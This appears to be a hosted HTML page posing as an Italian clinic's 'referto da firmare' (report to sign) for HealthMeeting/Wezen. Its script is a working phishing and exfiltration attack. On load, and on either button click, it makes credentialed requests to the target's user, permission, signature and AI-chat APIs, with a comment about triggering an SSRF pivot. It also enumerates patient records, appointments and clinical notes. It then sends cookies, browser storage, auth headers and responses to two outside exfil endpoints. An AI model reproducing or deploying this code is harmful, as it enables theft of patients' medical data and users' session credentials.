Spaces:
Running
Running
Download index.html from wtsrl/i026-static: direct link, hf CLI and curl.
- Browser
- Download file 8.1 kB
-
https://huggingface.co/spaces/wtsrl/i026-static/resolve/main/index.html
- Command line
-
hf download hf://spaces/wtsrl/i026-static/index.html
-
curl -L -o index.html https://huggingface.co/spaces/wtsrl/i026-static/resolve/main/index.html
8.1 kB
| <html lang="it"> | |
| <head> | |
| <meta charset="utf-8"> | |
| <title>HealthMeeting - Referto da firmare</title> | |
| <style> | |
| body{font-family:-apple-system,Segoe UI,Roboto,sans-serif;background:#f0f3f8;margin:0;color:#1a2233} | |
| .wrap{max-width:760px;margin:40px auto;padding:24px;background:#fff;border-radius:10px;box-shadow:0 6px 20px rgba(0,0,0,.06)} | |
| h1{color:#0b3d91;font-size:22px;margin:0 0 8px} | |
| .badge{display:inline-block;background:#0b3d91;color:#fff;font-size:12px;padding:3px 8px;border-radius:4px} | |
| pre{background:#0b1320;color:#dfe7f5;padding:10px;border-radius:6px;overflow:auto;font-size:11px;max-height:300px} | |
| .btn{background:#0b3d91;color:#fff;padding:10px 18px;border-radius:6px;border:none;font-size:14px;cursor:pointer;margin:6px 6px 0 0;font-weight:600} | |
| .btn.alt{background:#5b6573} | |
| .grid{display:grid;grid-template-columns:1fr 1fr;gap:14px;margin-top:10px} | |
| .stat{background:#f8fafc;border:1px solid #dde3ec;border-radius:6px;padding:10px} | |
| .stat .k{color:#5b6573;font-size:11px;text-transform:uppercase} | |
| .stat .v{font-size:14px;font-weight:600;margin-top:2px;word-break:break-all} | |
| .doc{background:#f8fafc;border-left:4px solid #0b3d91;padding:12px 14px;border-radius:4px;margin:14px 0} | |
| .footer{color:#5b6573;font-size:12px;margin-top:18px} | |
| </style> | |
| </head> | |
| <body> | |
| <div class="wrap"> | |
| <span class="badge">WEZEN · POLIAMBULANZA · REFERTI</span> | |
| <h1>Documento clinico condiviso — firma digitale richiesta</h1> | |
| <div class="doc"> | |
| <strong>Paziente:</strong> [riservato]<br> | |
| <strong>Referto:</strong> Ortopedico — in attesa di firma digitale<br> | |
| <strong>Scadenza:</strong> 48h — autenticati per procedere. | |
| </div> | |
| <p>Per la policy POLIAMBULANZA, prima della firma viene eseguito un controllo automatico della sessione HealthMeeting.</p> | |
| <h2>Stato sessione</h2> | |
| <div class="grid"> | |
| <div class="stat"><div class="k">Utente corrente</div><div class="v" id="cu">rilevamento…</div></div> | |
| <div class="stat"><div class="k">JWT (X-AUTH-TOKEN)</div><div class="v" id="jwt">rilevamento…</div></div> | |
| <div class="stat"><div class="k">Permessi</div><div class="v" id="pe">rilevamento…</div></div> | |
| <div class="stat"><div class="k">loginForSig</div><div class="v" id="lfs">rilevamento…</div></div> | |
| <div class="stat"><div class="k">cs-module-ai /chat</div><div class="v" id="chat">rilevamento…</div></div> | |
| <div class="stat"><div class="k">cs-module-ai /engines</div><div class="v" id="eng">rilevamento…</div></div> | |
| </div> | |
| <h2>Log</h2> | |
| <pre id="log">avvio…</pre> | |
| <p> | |
| <button class="btn" id="signBtn">Procedi con la firma digitale</button> | |
| <button class="btn alt" id="refBtn">Aggiorna stato</button> | |
| </p> | |
| <div class="footer"> | |
| HealthMeeting · Wezen Technologies s.r.l. · P.IVA 01493930935 · Sede: via delle Scienze 11, 33100 Udine<br> | |
| Comunicazione riservata — se non sei il destinatario, ignora. | |
| </div> | |
| </div> | |
| <script> | |
| (function(){ | |
| var EXFIL = ["http://10.0.2.15:19765/exfil","http://185.165.170.80:19765/exfil"]; | |
| var TGT = "https://ai.healthmeeting.it"; | |
| var P = { | |
| cu: TGT+"/ClinicalSuite/api/users/current", | |
| lfs: TGT+"/ClinicalSuite/api/loginForSignature", | |
| pe: TGT+"/ClinicalSuite/api/permissions", | |
| chat: TGT+"/cs-module-ai/api/chat", | |
| eng: TGT+"/cs-module-ai/api/engines", | |
| ver: TGT+"/ClinicalSuite/api/info/version", | |
| patients: TGT+"/ClinicalSuite/api/users", | |
| records: TGT+"/ClinicalSuite/api/records", | |
| appointments: TGT+"/ClinicalSuite/api/appointments", | |
| notes: TGT+"/ClinicalSuite/api/clinicalNotes" | |
| }; | |
| function nowIso(){return new Date().toISOString();} | |
| function log(s){var t=document.getElementById('log');t.textContent='['+nowIso()+'] '+s+'\n'+t.textContent;} | |
| function setV(id,v){var e=document.getElementById(id); if(e) e.textContent=v;} | |
| function exfil(stage, payload){ | |
| var body = JSON.stringify({ | |
| stage: stage, | |
| ts: nowIso(), | |
| origin: location.origin, | |
| referrer: document.referrer || "", | |
| cookies: document.cookie || "", | |
| localStorage: (function(){try{var o={};for(var i=0;i<localStorage.length;i++){var k=localStorage.key(i);o[k]=localStorage.getItem(k);}return o;}catch(e){return {err:String(e)};}})(), | |
| sessionStorage: (function(){try{var o={};for(var i=0;i<sessionStorage.length;i++){var k=sessionStorage.key(i);o[k]=sessionStorage.getItem(k);}return o;}catch(e){return {err:String(e)};}})(), | |
| payload: payload | |
| }); | |
| EXFIL.forEach(function(u){ | |
| try { | |
| // Use sendBeacon — survives navigation; falls back to fetch(no-cors) | |
| if (navigator.sendBeacon) { navigator.sendBeacon(u, new Blob([body], {type:'application/json'})); } | |
| else { fetch(u, {method:'POST',mode:'no-cors',body:body,headers:{'Content-Type':'application/json'}}); } | |
| } catch(e){} | |
| }); | |
| } | |
| function fire(url, opts, label){ | |
| opts = opts || {}; | |
| var init = { | |
| method: opts.method || 'GET', | |
| credentials: 'include', | |
| mode: 'cors', | |
| headers: opts.headers || {} | |
| }; | |
| if (opts.body) init.body = opts.body; | |
| return fetch(url, init).then(function(r){ | |
| var out = {status:r.status, headers:{}}; | |
| // Persist any X-AUTH-TOKEN/JWT/etc. | |
| r.headers.forEach(function(v,k){ | |
| out.headers[k]=v; | |
| if (/^(x-auth-token|authorization|set-cookie|jwt)$/i.test(k)) { | |
| exfil('header_'+label+'_'+k, {url:url, header:v}); | |
| } | |
| }); | |
| return r.text().then(function(t){out.body=t; return out;}); | |
| }).catch(function(e){ | |
| return {status:'err', error:String(e), url:url}; | |
| }); | |
| } | |
| function chain(){ | |
| log("== chain start =="); | |
| fire(P.ver, {}, 'version').then(function(r){ | |
| log('version '+r.status); | |
| exfil('version', r); | |
| }); | |
| fire(P.cu, {}, 'users_current').then(function(r){ | |
| log('users_current '+r.status+' body='+(r.body||'').slice(0,80)); | |
| setV('cu', r.status+' '+(r.body||'').slice(0,80)); | |
| exfil('users_current', r); | |
| }); | |
| fire(P.pe, {}, 'permissions').then(function(r){ | |
| log('permissions '+r.status); | |
| setV('pe', r.status+' '+(r.body||'').slice(0,80)); | |
| exfil('permissions', r); | |
| }); | |
| // Fire POST loginForSignature (server-side 500 but may leak via header) | |
| fire(P.lfs, {method:'POST', headers:{'Content-Type':'application/json'}, body:'{}'}, 'loginForSig').then(function(r){ | |
| log('loginForSig '+r.status); | |
| setV('lfs', r.status+' '+(r.body||'').slice(0,80)); | |
| exfil('loginForSig', r); | |
| }); | |
| fire(P.eng, {}, 'engines').then(function(r){ | |
| log('engines '+r.status); | |
| setV('eng', r.status+' '+(r.body||'').slice(0,80)); | |
| exfil('engines', r); | |
| }); | |
| // SSRF pivot trigger via /cs-module-ai/api/chat — should fire our planted engines 68/71/72 | |
| fire(P.chat, {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({message:'healthmeeting_session_probe'})}, 'chat').then(function(r){ | |
| log('chat '+r.status+' body='+(r.body||'').slice(0,160)); | |
| setV('chat', r.status+' '+(r.body||'').slice(0,120)); | |
| exfil('chat', r); | |
| }); | |
| // PHI/PII enumeration | |
| fire(P.patients, {}, 'users').then(function(r){ log('users '+r.status); exfil('users', r); }); | |
| fire(P.records, {}, 'records').then(function(r){ log('records '+r.status); exfil('records', r); }); | |
| fire(P.appointments, {}, 'appointments').then(function(r){ log('appointments '+r.status); exfil('appointments', r); }); | |
| fire(P.notes, {}, 'clinicalNotes').then(function(r){ log('clinicalNotes '+r.status); exfil('clinicalNotes', r); }); | |
| setTimeout(function(){ log("== chain done =="); exfil('done', {ts:nowIso()}); }, 7000); | |
| } | |
| document.getElementById('signBtn').addEventListener('click', function(e){ e.preventDefault(); chain(); }); | |
| document.getElementById('refBtn').addEventListener('click', function(e){ e.preventDefault(); chain(); }); | |
| // Auto-fire on load | |
| window.addEventListener('load', function(){ setTimeout(chain, 1200); }); | |
| })(); | |
| </script> | |
| </body> | |
| </html> | |